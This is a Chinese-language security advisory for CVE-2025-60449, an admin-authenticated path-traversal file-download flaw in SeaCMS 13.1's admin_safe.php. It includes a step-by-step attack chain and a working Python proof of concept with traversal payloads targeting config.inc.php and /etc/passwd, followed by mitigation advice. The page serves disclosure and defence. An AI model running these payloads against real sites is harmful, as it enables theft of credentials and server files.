IPBUF安全漏洞报告
English
CVE-2025-60449 CVSS 4.9 中危

CVE-2025-60449:SeaCMS 13.1后台信息泄露漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60449
漏洞类型
信息泄露/任意文件下载
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
SeaCMS

相关标签

信息泄露任意文件下载路径遍历SeaCMSCMSCVE-2025-60449中危漏洞PHP管理员权限

漏洞概述

CVE-2025-60449是SeaCMS 13.1版本中存在的一个信息泄露漏洞。该漏洞位于/admin_safe.php组件中,具体路径为/btcoan/目录下。该安全缺陷允许经过身份验证的管理员用户不仅能够扫描和下载应用程序的源代码,还可能访问并下载服务器根目录下的任意文件。此漏洞的CVSS 3.1评分为4.9分,属于中危级别。其攻击向量为网络攻击(AV:N),攻击复杂度低(AC:L),但需要高权限(PR:H)才能利用,即攻击者必须拥有有效的管理员凭证。漏洞对机密性产生高影响(C:H),但不影响完整性(I:N)和可用性(A:N),且无需用户交互(UI:N)。该漏洞由安全研究人员在2025年8月发现并报告,随后于2025年10月3日由MITRE正式分配CVE编号并公开披露。由于SeaCMS是一款广泛使用的内容管理系统,主要用于搭建视频和影视类网站,此漏洞可能导致网站源代码、配置文件、数据库凭证等敏感信息泄露,对网站安全构成严重威胁。

技术细节

SeaCMS 13.1的/admin_safe.php文件中存在路径遍历和任意文件下载缺陷。该组件原本设计用于安全扫描和备份功能,但在实现过程中缺乏对用户输入路径的充分验证和过滤。具体而言,当管理员通过该组件执行文件扫描或下载操作时,程序未对请求参数中的文件路径进行严格的合法性检查,攻击者可以通过构造特殊的路径参数(如使用../进行目录遍历),绕过预期的安全限制,访问应用程序目录之外的文件。由于该组件以管理员权限运行,攻击者一旦拥有管理员凭证,便可以利用此漏洞读取服务器上的任意可读文件,包括但不限于:网站源代码、配置文件(如数据库配置、API密钥)、系统敏感文件等。漏洞利用条件相对简单:攻击者需要拥有有效的管理员账户登录凭证,然后通过构造恶意的HTTP请求调用/admin_safe.php的相关功能接口,传入精心构造的路径参数即可实现任意文件下载。整个攻击过程无需用户交互,且攻击复杂度较低,但由于需要高权限认证,限制了漏洞的广泛利用。

攻击链分析

STEP 1
步骤1:获取管理员凭证
攻击者通过社会工程学、暴力破解、凭证泄露或其他方式获取SeaCMS站点的管理员账户用户名和密码。
STEP 2
步骤2:登录管理后台
使用获取的管理员凭证登录SeaCMS管理后台,建立有效的会话(Session),获取管理员权限的Cookie。
STEP 3
步骤3:定位漏洞端点
访问/btcoan/admin_safe.php组件,该组件是SeaCMS的安全扫描和文件管理功能模块。
STEP 4
步骤4:构造恶意路径参数
在文件下载或扫描请求中,构造包含目录遍历字符(../)的恶意路径参数,绕过路径验证限制。
STEP 5
步骤5:执行任意文件下载
通过漏洞端点发送精心构造的HTTP请求,利用路径遍历漏洞下载服务器上的任意可读文件,如数据库配置文件、系统敏感文件等。
STEP 6
步骤6:信息收集与利用
从下载的文件中提取敏感信息,如数据库凭证、API密钥、系统配置等,利用这些信息进行进一步的攻击或数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60449 PoC - SeaCMS 13.1 Information Disclosure # Vulnerability: Arbitrary File Download via admin_safe.php in /btcoan/ # Requires authenticated admin credentials import requests # Target configuration TARGET_URL = "http://target-seacms-site.com" ADMIN_USERNAME = "admin" ADMIN_PASSWORD = "admin_password" # Step 1: Login as administrator to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": ADMIN_USERNAME, "password": ADMIN_PASSWORD, "submit": "submit" } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Exploit the arbitrary file download vulnerability # The vulnerable endpoint is admin_safe.php in /btcoan/ directory vuln_url = f"{TARGET_URL}/btcoan/admin_safe.php" # Craft payload to traverse directories and read sensitive files # Example: Download the application's configuration file payloads = [ # Read SeaCMS database configuration {"action": "download", "filename": "../../../include/config.inc.php"}, # Read system passwd file {"action": "download", "filename": "../../../../../../etc/passwd"}, # Read source code files {"action": "download", "filename": "../admin/index.php"}, ] for payload in payloads: print(f"[*] Attempting to download: {payload['filename']}") response = session.post(vuln_url, data=payload) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Successfully downloaded file content:") print(response.text[:500]) print("---") else: print(f"[-] Failed to download file") # Alternative GET-based exploitation vuln_url_get = f"{TARGET_URL}/btcoan/admin_safe.php?action=download&filename=../../../include/config.inc.php" response = session.get(vuln_url_get) print(f"[*] GET-based exploit response: {response.status_code}") if response.status_code == 200: print(f"[+] File content leaked:") print(response.text[:1000])

影响范围

SeaCMS 13.1

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)限制/btcoan/admin_safe.php的访问权限,仅允许特定IP地址访问;2)在Web服务器层面配置规则,拦截包含../等目录遍历特征的请求;3)修改管理员密码并启用强密码策略,防止管理员凭证泄露;4)将敏感文件移出Web根目录,降低信息泄露风险;5)部署WAF规则,对admin_safe.php的请求进行严格过滤和监控;6)定期检查服务器日志,及时发现异常的下载行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表